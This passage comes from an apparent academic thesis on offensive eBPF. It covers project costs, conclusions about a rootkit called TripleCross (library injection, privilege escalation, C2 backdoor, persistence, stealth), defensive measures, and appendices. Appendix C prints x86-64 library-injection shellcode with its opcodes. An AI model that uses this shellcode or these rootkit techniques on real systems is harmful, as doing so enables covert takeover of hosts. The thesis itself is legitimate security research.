Also, note that our own RawTCP_Lib library is a relevant part of this project but it
has been developed outside of the scope of this research. Therefore, we will consider it
as an estimated 20-days long 4 hours/day development by the programmer.
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ROLE TASK HOURS/DAY

Cyber security analyst
Research and analysis 5
Documentation writing 10

Programmer
Rootkit implementation 7

RawTCP_Lib development 4
Project manager Supervision and guidance 1.16

Table 7.2. Daily dedication, in hours, that each personnel member needs
to dedicate to each of their tasks.

With respect to the project manager, whose supervision task was not shown in the
Gantt chart, we have considered an estimate of a total of 250 hours worked over the 215
days long project, dedicating an average of 8.18 hours once every week, or 1.16 hours
daily.

With these salaries and work hours in mind, the tasks described on the Gantt chart are
then distributed among these roles, as shown in Table 7.3. The total salary is calculated
by taking into account the hourly salary of each role and the number of hours worked on
each task (the product between hours in a working day and the total number of days).

ROLE TASK DEDICATION TOTAL
Cyber security

analyst
Research and analysis 27 days 1,714.50 €
Documentation writing 35 days 4,445 €

Programmer
Rootkit implementation 84 days 7,644 €

RawTCP_Lib development 20 days 1,040 €
Project manager Supervision and guidance 215 days 4,807.50€

TOTAL 19,641 €

Table 7.3. Total costs associated to personnel.

7.2.2. Hardware costs

There exists an additional cost associated to the purchase of hardware equipment needed.
Table 7.4 details this cost.

COMPONENT PRICE
HP OMEN 16-c0050ns 1,300 €

TOTAL 1,300 €

Table 7.4. Estimated cost of hardware systems.
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7.2.3. Software costs

All software used during this research work is open source and thus it has no additional
cost. This can be observed in Table 7.5.

COMPONENT PRICE
Ubuntu 21.04 0 €

libbpf 0 €
Oracle VM Virtualbox 0 €

TOTAL 0 €

Table 7.5. Cost of software components.

7.2.4. Total costs

The computation of the total costs involves considering the costs of hardware, software
and personnel systems, together with an additive indirect cost related to minor expenses
such as Internet connection or electricity consumption. We will consider these costs to be
a 10% of the total. Additionaly, note that this is a research project and, as such, it would
usually be funded, so we would not have any benefits. Table 7.6 shows the total costs of
this project.

COST TYPE PRICE
Personnel costs 19,641 €
Hardware costs 1,300 €
Software costs 0 €
SUBTOTAL 20,941 €
Indirect costs 10% €

TOTAL 23,035.10 €

Table 7.6. Total cost of the project.
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8. CONCLUSIONS AND FUTURE WORK

This chapter revisits the project objectives, discusses the work presented in this docu-
ment, and describes possible future research lines.

8.1. Conclusions

At the beginning of this project, we proposed to study the offensive capabilities of eBPF
at the network level and both user- and kernel-space. Our research shows that a malicious
eBPF program can drop any network packet and have read and write access over both
incoming and outgoing network traffic using XDP and TC programs. We also discuss
how it can read and write any memory at the user-space using kprobes and tracepoints,
and that it can tamper with user data passed to the kernel at system calls, although kernel
memory cannot be written. In the end, these capabilities result in a complete disrupt
of trust between the user and kernel space since eBPF may modify data passed to system
calls and thus change the outcome of the execution, a disrupt of trust among the user space
programs themselves since eBPF may redirect the flow of execution or overwrite any data
by writing to specific sections at processes virtual memory, and finally total control over
the data sent or receieved at the network.

With these capabilities in mind, we have developed an eBPF-based rootkit that uses
these offensive capabilities to showcase multiple malicious use cases. Our rootkit, named
TripleCross, incorporates (1) a library injection module to execute malicious code by
writing at processes virtual memory; (2) an execution hijacking module that modifies
data passed to the kernel to execute malicious programs; (3) a local privilege escalation
module that allows for running malicious programs with root privileges; (4) a backdoor
with C2 capabilities that can monitor the network and execute commands sent from a re-
mote rootkit client which incorporates multiple backdoor triggers so that these actions are
transmitted to the backdoor with stealth in mind; (5) a rootkit client program that allows
the attacker to establish 3 different types of shell-like connections for sending commands
and multiple other actions that control the rootkit state remotely; (6) a persistence mod-
ule that uses a combination of scheduled jobs and malicious configuration files at the sudo
system to ensure the rootkit remains installed with full privileges even after a reboot event;
and (7) a stealth module that hides rootkit-related files and directories from the user.

TripleCross demonstrates the existing danger when running eBPF programs, a tech-
nology also available by default in most distributions. On the other hand, it must be noted
that there exist some defense measures against these rootkits:

• Monitor the loaded eBPF programns and the data stored at eBPF maps using tools
like bpftool or ebpfkit-monitor [162] (a tool released by Fournier and Afchain that
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monitors the loaded eBPF programs and maps).

• Monitor the use of the bpf() syscall in the system. The ebpfkit-monitor tool also
incorporates this capability.

• Wait until eBPF signing is implemented in the kernel. Although this capability
is not currently available, there exist some efforts towards its incorporation in the
kernel [163]. Similarly to how LKMs can be signed with a private key so that the
kernel only trust modules signed by the entity with the corresponding public key
[164], eBPF programs may require a similar signing process before being loaded
into the BPF VM.

Note that, even if this capability is included in the future, it may be left off by
default, as it has happened with signed LKMs. Signing modules is governed by the
parameter CONFIG_MODULE_SIG_FORCE, which is left deactivated in some
kernel compilations for backwards compatibility [165].

• Assign the lowest privilege possible to eBPF programs according to their expected
functionality, as described in Section 2.5.1.

• Monitor the network using IDSs and network-wide firewalls, detecting suspicious
communications. Firewalls installed on the endpoints may detect ongoing mali-
cious traffic too (but incoming traffic would be masked by XDP before it reaches
the firewall).

Nevertheless, with the exception of signing eBPF programs, a sufficiently advanced
rootkit built for an specific targeted attack will be able to bypass any monitoring actions
taken at the infected host. This rootkit could hide itself from the bpftool tool, block access
to its eBPF maps and, ultimately, hide its activities from any monitoring tool or log traces.
This is the conclusion at which Fournier and Afchain also arrive [95].

8.2. Future work

Although in this project we identified several offensive capabilities using the current func-
tionality supported by eBPF, this technology is currently being extended and, therefore,
the incorporation of new eBPF helpers and program types could result in new offensive
uses. In addition, there also exist multiple capabilities that have not been researched in
depth and that can result in other attacks. Namely, the use of uprobes, which hooks func-
tions from specific programs, could be used to modify the data of user space programs
in the benefit of the rootkit. For instance, an attacker could overwrite the data gathered
by a firewall installed in the system so that malicious outgoing traffic appears as benign.
Therefore, further research on uprobe programs with eBPF could result in new attacks
against specific user programs that could be incorporated into a rootkit.
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Another relevant line of work would be the modification of buffers passed by the user
which, instead of being received at system calls, are received and operated at internal
kernel functions. A rootkit overwriting this data could alter the execution of the kernel
itself outside of syscalls.

Other lines of research include building rootkit modules using eBPF helpers that we
did not incorporate in our rootkit, such as bpf_override_return and bpf_send_signal, or the
XDP packet modification capabilities that we only showed as a PoC. TripleCross could
then incorporate techniques such as hiding itself from the kernel logs and find new uses
for modifying incoming network packets.

A final but very relevant research line consists of exploring the capabilities of eBPF
in Windows and Android. Since it is a novel incorporation, there currently exists little
knowledge about the limits of eBPF in these systems, and thus it is of great interest to
research which actions a malicious program could perform in these platforms.

In summary, future work in offensive eBPF could be aimed at finding new attack vec-
tors for the capabilities used to develop our rootkit, and building more complex techniques
combining those we did not explore in this work. Moreover, since the eBPF system keeps
being expanded not only in Linux but in other platforms too, it is relevant to analyze the
offensive uses for the newer functionalities of eBPF incorporated in the future.
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APPENDIX A - EBPF-RELATED KERNEL COMPILATION
FLAGS

1 $ bpftool feature

CONFIG_BPF is set to y

CONFIG_BPF_SYSCALL is set to y

CONFIG_HAVE_EBPF_JIT is set to y

CONFIG_BPF_JIT is set to y

CONFIG_BPF_JIT_ALWAYS_ON is set to y

CONFIG_CGROUPS is set to y

CONFIG_CGROUP_BPF is set to y

CONFIG_CGROUP_NET_CLASSID is set to y

CONFIG_SOCK_CGROUP_DATA is set to y

CONFIG_BPF_EVENTS is set to y

CONFIG_KPROBE_EVENTS is set to y

CONFIG_UPROBE_EVENTS is set to y

CONFIG_TRACING is set to y

CONFIG_FTRACE_SYSCALLS is set to y

CONFIG_FUNCTION_ERROR_INJECTION is set to y

CONFIG_BPF_KPROBE_OVERRIDE is set to y

CONFIG_NET is set to y

CONFIG_XDP_SOCKETS is set to y

CONFIG_LWTUNNEL_BPF is set to y

CONFIG_NET_ACT_BPF is set to m

CONFIG_NET_CLS_BPF is set to m

CONFIG_NET_CLS_ACT is set to y

CONFIG_NET_SCH_INGRESS is set to m

CONFIG_XFRM is set to y

CONFIG_IP_ROUTE_CLASSID is set to y

CONFIG_IPV6_SEG6_BPF is set to y

CONFIG_BPF_LIRC_MODE2 is not set

CONFIG_BPF_STREAM_PARSER is set to y

CONFIG_NETFILTER_XT_MATCH_BPF is set to m

CONFIG_BPFILTER is set to y

CONFIG_BPFILTER_UMH is set to m

CONFIG_TEST_BPF is set to m

CONFIG_HZ is set to 250



APPENDIX B - SECTION HEADERS IN ELF FILE

CODE 1. List of ELF section headers with readelf tool of a program compiled with GCC.

1 $ readelf -S simple_timer

2 There are 36 section headers, starting at offset 0x4120:

3

4 Section Headers:

5 [Nr] Name Type Address Offset

6 Size EntSize Flags Link Info Align

7 [ 0] NULL 0000000000000000 00000000

8 0000000000000000 0000000000000000 0 0 0

9 [ 1] .interp PROGBITS 0000000000400318 00000318

10 000000000000001c 0000000000000000 A 0 0 1

11 [ 2] .note.gnu.pr[...] NOTE 0000000000400338 00000338

12 0000000000000030 0000000000000000 A 0 0 8

13 [ 3] .note.gnu.bu[...] NOTE 0000000000400368 00000368

14 0000000000000024 0000000000000000 A 0 0 4

15 [ 4] .note.ABI-tag NOTE 000000000040038c 0000038c

16 0000000000000020 0000000000000000 A 0 0 4

17 [ 5] .gnu.hash GNU_HASH 00000000004003b0 000003b0

18 000000000000001c 0000000000000000 A 6 0 8

19 [ 6] .dynsym DYNSYM 00000000004003d0 000003d0

20 0000000000000108 0000000000000018 A 7 1 8

21 [ 7] .dynstr STRTAB 00000000004004d8 000004d8

22 00000000000000ad 0000000000000000 A 0 0 1

23 [ 8] .gnu.version VERSYM 0000000000400586 00000586

24 0000000000000016 0000000000000002 A 6 0 2

25 [ 9] .gnu.version_r VERNEED 00000000004005a0 000005a0

26 0000000000000050 0000000000000000 A 7 1 8

27 [10] .rela.dyn RELA 00000000004005f0 000005f0

28 0000000000000030 0000000000000018 A 6 0 8

29 [11] .rela.plt RELA 0000000000400620 00000620

30 00000000000000c0 0000000000000018 AI 6 24 8

31 [12] .init PROGBITS 0000000000401000 00001000

32 000000000000001b 0000000000000000 AX 0 0 4

33 [13] .plt PROGBITS 0000000000401020 00001020

34 0000000000000090 0000000000000010 AX 0 0 16

35 [14] .plt.sec PROGBITS 00000000004010b0 000010b0

36 0000000000000080 0000000000000010 AX 0 0 16

37 [15] .text PROGBITS 0000000000401130 00001130

38 00000000000004c5 0000000000000000 AX 0 0 16

39 [16] .fini PROGBITS 00000000004015f8 000015f8

40 000000000000000d 0000000000000000 AX 0 0 4

41 [17] .rodata PROGBITS 0000000000402000 00002000

42 00000000000000a5 0000000000000000 A 0 0 8

43 [18] .eh_frame_hdr PROGBITS 00000000004020a8 000020a8

44 000000000000004c 0000000000000000 A 0 0 4



45 [19] .eh_frame PROGBITS 00000000004020f8 000020f8

46 0000000000000120 0000000000000000 A 0 0 8

47 [20] .init_array INIT_ARRAY 0000000000403e10 00002e10

48 0000000000000008 0000000000000008 WA 0 0 8

49 [21] .fini_array FINI_ARRAY 0000000000403e18 00002e18

50 0000000000000008 0000000000000008 WA 0 0 8

51 [22] .dynamic DYNAMIC 0000000000403e20 00002e20

52 00000000000001d0 0000000000000010 WA 7 0 8

53 [23] .got PROGBITS 0000000000403ff0 00002ff0

54 0000000000000010 0000000000000008 WA 0 0 8

55 [24] .got.plt PROGBITS 0000000000404000 00003000

56 0000000000000058 0000000000000008 WA 0 0 8

57 [25] .data PROGBITS 0000000000404058 00003058

58 0000000000000014 0000000000000000 WA 0 0 8

59 [26] .bss NOBITS 0000000000404070 0000306c

60 0000000000000020 0000000000000000 WA 0 0 16

61 [27] .comment PROGBITS 0000000000000000 0000306c

62 0000000000000025 0000000000000001 MS 0 0 1

63 [28] .debug_aranges PROGBITS 0000000000000000 00003091

64 0000000000000030 0000000000000000 0 0 1

65 [29] .debug_info PROGBITS 0000000000000000 000030c1

66 0000000000000295 0000000000000000 0 0 1

67 [30] .debug_abbrev PROGBITS 0000000000000000 00003356

68 00000000000000fd 0000000000000000 0 0 1

69 [31] .debug_line PROGBITS 0000000000000000 00003453

70 000000000000024d 0000000000000000 0 0 1

71 [32] .debug_str PROGBITS 0000000000000000 000036a0

72 00000000000001f5 0000000000000001 MS 0 0 1

73 [33] .symtab SYMTAB 0000000000000000 00003898

74 0000000000000480 0000000000000018 34 22 8

75 [34] .strtab STRTAB 0000000000000000 00003d18

76 00000000000002a2 0000000000000000 0 0 1

77 [35] .shstrtab STRTAB 0000000000000000 00003fba

78 000000000000015f 0000000000000000 0 0 1

79 Key to Flags:

80 W (write), A (alloc), X (execute), M (merge), S (strings), I (info

),

81 L (link order), O (extra OS processing required), G (group), T (

TLS),

82 C (compressed), x (unknown), o (OS specific), E (exclude),

83 l (large), p (processor specific)



APPENDIX C - LIBRARY INJECTION SHELLCODE

CODE 2. Shellcode for library injection and its opcodes.

1 # Saving state of registers

2 push rbp # 55

3 push rax # 50

4 push rcx # 51

5 push rdx # 52

6 push rbx # 53

7 push rdi # 57

8 push rsi # 56

9

10 # Call malloc. Get address in the heap

11 mov edi,0x2000 # BF00200000

12 mov rbx, <malloc address libc> # 48BB<address little endian 64bit>

13 call rbx # FFD3

14 mov rbx, rax # 4889C3

15

16 # Write the string of the library path into reserved memory

17 mov dword [rax],0x6d6f682f # C7002F686F6D

18 mov dword [rax+0x4],0x736f2f65 # C74004652F6F73

19 mov dword [rax+0x8],0x65786f62 # C74008626F7865

20 mov dword [rax+0xc],0x46542f73 # C7400C732F5446

21 mov dword [rax+0x10],0x72732f47 # C74010472F7372

22 mov dword [rax+0x14],0x65682f63 # C74014632F6865

23 mov dword [rax+0x18],0x7265706c # C740186C706572

24 mov dword [rax+0x1c],0x6e692f73 # C7401C732F696E

25 mov dword [rax+0x20],0x7463656a # C740206A656374

26 mov dword [rax+0x24],0x5f6e6f69 # C74024696F6E5F

27 mov dword [rax+0x28],0x2e62696c # C740286C69622E

28 mov dword [rax+0x2c],0x6f73 # C7402C736F0000

29

30 # Call dlopen.

31 mov rax, <dlopen address libc> # 48B8<address little endian 64bit>

32 mov rsi, 0x1 # BE01000000

33 mov rdi, rbx # 4889DF

34 sub rsp,0x1000 # 4881EC00100000

35 call rax # FFD0

36

37 # Restoring state of registers and execution flow

38 add rsp,0x1000 # 4881C400100000

39 pop rsi # 5E

40 pop rdi # 5F

41 pop rbx # 5B

42 pop rdx # 5A

43 pop rcx # 59

44 pop rax # 58



45 pop rbp # 5D

46

47 # Jump to the original syscall

48 jmp qword ptr [rip+0x0] # FF2500000000

49 <address original syscall glibc 64bit>
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